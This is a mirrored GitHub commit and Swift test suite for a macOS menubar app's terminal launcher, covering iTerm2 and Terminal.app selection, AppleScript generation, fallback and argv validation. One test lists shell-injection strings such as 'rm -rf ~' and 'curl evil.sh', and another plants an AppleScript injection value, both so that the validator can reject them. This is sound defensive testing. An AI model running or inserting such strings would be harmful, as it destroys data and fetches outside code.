mirror of
https://github.com/AgentSeal/codeburn.git
synced 2026-08-21 22:44:31 +00:00
Full Report and Optimize always opened Terminal.app. Add a closed PreferredTerminal enum (Terminal.app, iTerm2), a General settings picker, and graceful fallback: chosen terminal -> Terminal.app -> headless spawn. Defaults to Terminal.app so existing users see no change. The terminal is selected from a closed enum, never a user string, so the `tell application "..."` target stays a compile-time literal. Commands are still whitespace-joined argv validated token-by-token by CodeburnCLI.isSafe before any interpolation, preserving the shell-injection invariant. Only terminals with a real "run in a live window" scripting verb are listed: Terminal.app has `do script`, iTerm2 has `write text` on a session. Ghostty, WezTerm, Warp, Alacritty and kitty expose no equivalent, so they keep the existing headless fallback rather than shipping a window that closes on exit. The iTerm2 script targets `application "iTerm"`, not `"iTerm2"`. AppleScript resolves the name of a not-yet-running app through LaunchServices by bundle file name, and the bundle is iTerm.app. Measured on iTerm2 3.6.11: with the app quit, `tell application "iTerm2"` fails to compile (-2741) while `tell application "iTerm"` compiles, cold-launches iTerm2 and runs the command. The `"iTerm2"` spelling only works while the app already happens to be running. Fallback is a chain that checks results rather than a single fire-and-forget pick, because "installed" does not imply "scriptable": osascript can still fail on a missing Automation approval or a broken bundle. Each candidate is run, waited on and its exit status checked, off the main thread so the popover stays responsive; only once every candidate has failed do we spawn headless. Every step logs via NSLog, so a user who sees no window has a trail in Console.app instead of an app that looks dead. The decision logic is extracted into terminalChain/runFirstWorking so tests exercise "primary failed -> fell back" without launching anything. Document the setting in the README next to the other menubar defaults keys. Closes #877
293 lines
12 KiB
Swift
293 lines
12 KiB
Swift
import Foundation
|
|
import Testing
|
|
@testable import CodeBurnMenubar
|
|
|
|
@Suite("Preferred terminal selection and script generation")
|
|
struct TerminalLauncherTests {
|
|
// MARK: - Enum -> app path mapping
|
|
|
|
@Test("Terminal.app keeps both stock install locations")
|
|
func terminalKeepsStockPaths() {
|
|
#expect(PreferredTerminal.terminal.appPaths == [
|
|
"/System/Applications/Utilities/Terminal.app",
|
|
"/Applications/Utilities/Terminal.app",
|
|
])
|
|
}
|
|
|
|
@Test("iTerm2 probes the system and per-user Applications folders")
|
|
func iTermProbesBothApplicationsFolders() {
|
|
let paths = PreferredTerminal.iTerm2.appPaths
|
|
let home = FileManager.default.homeDirectoryForCurrentUser.path
|
|
#expect(paths == ["/Applications/iTerm.app", "\(home)/Applications/iTerm.app"])
|
|
}
|
|
|
|
@Test("every case maps to absolute .app bundle paths")
|
|
func everyCaseMapsToAbsoluteBundlePaths() {
|
|
for terminal in PreferredTerminal.allCases {
|
|
#expect(!terminal.appPaths.isEmpty)
|
|
for path in terminal.appPaths {
|
|
#expect(path.hasPrefix("/"))
|
|
#expect(path.hasSuffix(".app"))
|
|
}
|
|
}
|
|
}
|
|
|
|
// MARK: - Script generation per terminal
|
|
|
|
@Test("Terminal.app uses the `do script` dialect")
|
|
func terminalUsesDoScript() {
|
|
let script = PreferredTerminal.terminal.script(command: "codeburn report")
|
|
#expect(script.contains("tell application \"Terminal\""))
|
|
#expect(script.contains("do script \"codeburn report\""))
|
|
#expect(script.contains("activate"))
|
|
// iTerm2 verbs must not leak into the Terminal.app dialect.
|
|
#expect(!script.contains("write text"))
|
|
#expect(!script.contains("create window with default profile"))
|
|
}
|
|
|
|
@Test("iTerm2 uses the `create window` + `write text` dialect")
|
|
func iTermUsesWriteText() {
|
|
let script = PreferredTerminal.iTerm2.script(command: "codeburn report")
|
|
#expect(script.contains("tell application \"iTerm\""))
|
|
#expect(script.contains("create window with default profile"))
|
|
#expect(script.contains("write text \"codeburn report\""))
|
|
// `do script` is a Terminal.app-only verb; sending it to iTerm2 would fail silently.
|
|
#expect(!script.contains("do script"))
|
|
}
|
|
|
|
@Test("iTerm2 is addressed as `iTerm`, the bundle name, so it compiles while the app is quit")
|
|
func iTermIsAddressedByBundleName() {
|
|
// Regression guard. `tell application "iTerm2"` only compiles while iTerm2 already
|
|
// happens to be running; with the app quit AppleScript resolves the name through
|
|
// LaunchServices by bundle file name (iTerm.app) and otherwise fails with -2741,
|
|
// which made "Full Report" do nothing at all.
|
|
let script = PreferredTerminal.iTerm2.script(command: "codeburn report")
|
|
#expect(!script.contains("tell application \"iTerm2\""))
|
|
}
|
|
|
|
@Test("each case targets exactly one hardcoded application name")
|
|
func eachCaseTargetsOneHardcodedApplication() {
|
|
let names: [PreferredTerminal: String] = [.terminal: "Terminal", .iTerm2: "iTerm"]
|
|
for terminal in PreferredTerminal.allCases {
|
|
let script = terminal.script(command: "codeburn report")
|
|
let tells = script.components(separatedBy: "tell application ").count - 1
|
|
#expect(tells == 1)
|
|
#expect(script.contains("tell application \"\(names[terminal]!)\""))
|
|
}
|
|
}
|
|
|
|
@Test("the command is the only value interpolated into the script")
|
|
func commandIsTheOnlyInterpolatedValue() {
|
|
// Swapping the command must change nothing but the command occurrence, proving the
|
|
// app name and verbs are compile-time literals rather than stored strings.
|
|
for terminal in PreferredTerminal.allCases {
|
|
let a = terminal.script(command: "codeburn report")
|
|
let b = terminal.script(command: "codeburn optimize")
|
|
#expect(a != b)
|
|
#expect(a.replacingOccurrences(of: "codeburn report", with: "codeburn optimize") == b)
|
|
}
|
|
}
|
|
|
|
// MARK: - Fallback selection when an app is absent
|
|
|
|
@Test("the configured terminal is used when it is installed")
|
|
func configuredTerminalWins() {
|
|
let resolved = TerminalLauncher.resolvedTerminal(preference: .iTerm2, isInstalled: { _ in true })
|
|
#expect(resolved == .iTerm2)
|
|
}
|
|
|
|
@Test("a missing configured terminal falls back to Terminal.app")
|
|
func missingConfiguredTerminalFallsBackToTerminal() {
|
|
let resolved = TerminalLauncher.resolvedTerminal(
|
|
preference: .iTerm2,
|
|
isInstalled: { $0 == .terminal }
|
|
)
|
|
#expect(resolved == .terminal)
|
|
}
|
|
|
|
@Test("nil is returned when nothing scriptable exists so the caller goes headless")
|
|
func nothingInstalledResolvesToNil() {
|
|
#expect(TerminalLauncher.resolvedTerminal(preference: .iTerm2, isInstalled: { _ in false }) == nil)
|
|
#expect(TerminalLauncher.resolvedTerminal(preference: .terminal, isInstalled: { _ in false }) == nil)
|
|
}
|
|
|
|
@Test("Terminal.app preference never resolves to another terminal")
|
|
func terminalPreferenceNeverResolvesElsewhere() {
|
|
// iTerm2 installed but Terminal.app chosen and absent -> headless, not a surprise app.
|
|
let resolved = TerminalLauncher.resolvedTerminal(
|
|
preference: .terminal,
|
|
isInstalled: { $0 == .iTerm2 }
|
|
)
|
|
#expect(resolved == nil)
|
|
}
|
|
|
|
// MARK: - Chain construction
|
|
|
|
@Test("the chain is the configured terminal then Terminal.app as backstop")
|
|
func chainPutsPreferenceFirstThenTerminal() {
|
|
let chain = TerminalLauncher.terminalChain(preference: .iTerm2, isInstalled: { _ in true })
|
|
#expect(chain == [.iTerm2, .terminal])
|
|
}
|
|
|
|
@Test("Terminal.app is never listed twice when it is also the preference")
|
|
func chainDoesNotDuplicateTerminal() {
|
|
let chain = TerminalLauncher.terminalChain(preference: .terminal, isInstalled: { _ in true })
|
|
#expect(chain == [.terminal])
|
|
}
|
|
|
|
@Test("an uninstalled preference drops out of the chain entirely")
|
|
func chainSkipsUninstalledPreference() {
|
|
let chain = TerminalLauncher.terminalChain(preference: .iTerm2, isInstalled: { $0 == .terminal })
|
|
#expect(chain == [.terminal])
|
|
}
|
|
|
|
@Test("no installed terminal yields an empty chain so the caller goes headless")
|
|
func chainIsEmptyWhenNothingInstalled() {
|
|
#expect(TerminalLauncher.terminalChain(preference: .iTerm2, isInstalled: { _ in false }).isEmpty)
|
|
}
|
|
|
|
// MARK: - Runtime fallback when a terminal is installed but osascript fails
|
|
|
|
@Test("a terminal that fails at runtime falls through to the next candidate")
|
|
func runtimeFailureFallsBackToNextTerminal() {
|
|
// The real trigger: iTerm2 is installed, so it is picked, but osascript exits non-zero
|
|
// (terminology it cannot load, a denied Automation prompt, a broken bundle). Before
|
|
// this the launcher fired and forgot, so the user got no window and no error at all.
|
|
var attempted: [PreferredTerminal] = []
|
|
let used = TerminalLauncher.runFirstWorking(
|
|
chain: [.iTerm2, .terminal],
|
|
command: "codeburn report",
|
|
attempt: { terminal, _ in
|
|
attempted.append(terminal)
|
|
return terminal == .terminal
|
|
}
|
|
)
|
|
#expect(used == .terminal)
|
|
#expect(attempted == [.iTerm2, .terminal])
|
|
}
|
|
|
|
@Test("a working first terminal short-circuits the rest of the chain")
|
|
func successfulFirstTerminalStopsTheChain() {
|
|
var attempted: [PreferredTerminal] = []
|
|
let used = TerminalLauncher.runFirstWorking(
|
|
chain: [.iTerm2, .terminal],
|
|
command: "codeburn report",
|
|
attempt: { terminal, _ in
|
|
attempted.append(terminal)
|
|
return true
|
|
}
|
|
)
|
|
#expect(used == .iTerm2)
|
|
#expect(attempted == [.iTerm2])
|
|
}
|
|
|
|
@Test("every candidate failing returns nil so the caller can go headless")
|
|
func exhaustedChainReturnsNil() {
|
|
var attempted: [PreferredTerminal] = []
|
|
let used = TerminalLauncher.runFirstWorking(
|
|
chain: [.iTerm2, .terminal],
|
|
command: "codeburn report",
|
|
attempt: { terminal, _ in
|
|
attempted.append(terminal)
|
|
return false
|
|
}
|
|
)
|
|
#expect(used == nil)
|
|
#expect(attempted == [.iTerm2, .terminal])
|
|
}
|
|
|
|
@Test("an empty chain attempts nothing and reports failure immediately")
|
|
func emptyChainAttemptsNothing() {
|
|
var attempts = 0
|
|
let used = TerminalLauncher.runFirstWorking(
|
|
chain: [],
|
|
command: "codeburn report",
|
|
attempt: { _, _ in
|
|
attempts += 1
|
|
return true
|
|
}
|
|
)
|
|
#expect(used == nil)
|
|
#expect(attempts == 0)
|
|
}
|
|
|
|
@Test("the command reaches each attempted terminal unchanged")
|
|
func commandIsForwardedToEveryAttempt() {
|
|
var seen: [String] = []
|
|
_ = TerminalLauncher.runFirstWorking(
|
|
chain: [.iTerm2, .terminal],
|
|
command: "codeburn optimize",
|
|
attempt: { _, command in
|
|
seen.append(command)
|
|
return false
|
|
}
|
|
)
|
|
#expect(seen == ["codeburn optimize", "codeburn optimize"])
|
|
}
|
|
|
|
// MARK: - argv safety validation
|
|
|
|
@Test("safe argv joins into a command")
|
|
func safeArgvJoins() {
|
|
#expect(TerminalLauncher.safeCommand(argv: ["codeburn", "report"]) == "codeburn report")
|
|
#expect(
|
|
TerminalLauncher.safeCommand(argv: ["/opt/homebrew/bin/codeburn", "optimize"])
|
|
== "/opt/homebrew/bin/codeburn optimize"
|
|
)
|
|
}
|
|
|
|
@Test("shell metacharacters are still rejected before reaching AppleScript")
|
|
func unsafeArgvIsRejected() {
|
|
let hostile = [
|
|
"codeburn; rm -rf ~",
|
|
"codeburn && curl evil.sh",
|
|
"codeburn | tee /tmp/x",
|
|
"$(whoami)",
|
|
"`whoami`",
|
|
"codeburn \"quoted\"",
|
|
"codeburn'q",
|
|
"codeburn\nreport",
|
|
"codeburn > /tmp/x",
|
|
]
|
|
for token in hostile {
|
|
#expect(!CodeburnCLI.isSafe(token), "expected \(token) to be rejected")
|
|
#expect(TerminalLauncher.safeCommand(argv: ["codeburn", token]) == nil)
|
|
}
|
|
}
|
|
|
|
@Test("a single unsafe token poisons the whole argv")
|
|
func oneUnsafeTokenRejectsEverything() {
|
|
#expect(TerminalLauncher.safeCommand(argv: ["codeburn", "report", "; id"]) == nil)
|
|
#expect(TerminalLauncher.safeCommand(argv: [""]) == nil)
|
|
}
|
|
|
|
// MARK: - Persistence
|
|
|
|
@Test("preference defaults to Terminal.app when unset, preserving pre-#877 behaviour")
|
|
func defaultsToTerminalWhenUnset() {
|
|
let suiteName = "CodeBurnMenubarTests.\(UUID().uuidString)"
|
|
let defaults = UserDefaults(suiteName: suiteName)!
|
|
defer { defaults.removePersistentDomain(forName: suiteName) }
|
|
|
|
#expect(PreferredTerminal.saved(defaults: defaults) == .terminal)
|
|
#expect(PreferredTerminal.default == .terminal)
|
|
}
|
|
|
|
@Test("preference round-trips and unknown values collapse to the default")
|
|
func preferenceRoundTripsAndRejectsGarbage() {
|
|
let suiteName = "CodeBurnMenubarTests.\(UUID().uuidString)"
|
|
let defaults = UserDefaults(suiteName: suiteName)!
|
|
defer { defaults.removePersistentDomain(forName: suiteName) }
|
|
|
|
PreferredTerminal.iTerm2.persist(defaults: defaults)
|
|
#expect(defaults.string(forKey: PreferredTerminal.defaultsKey) == "iterm2")
|
|
#expect(PreferredTerminal.saved(defaults: defaults) == .iTerm2)
|
|
|
|
PreferredTerminal.terminal.persist(defaults: defaults)
|
|
#expect(PreferredTerminal.saved(defaults: defaults) == .terminal)
|
|
|
|
// A hand-written defaults value must never become a `tell application` target.
|
|
defaults.set("Terminal\" \nto do shell script \"id", forKey: PreferredTerminal.defaultsKey)
|
|
#expect(PreferredTerminal.saved(defaults: defaults) == .terminal)
|
|
}
|
|
}
|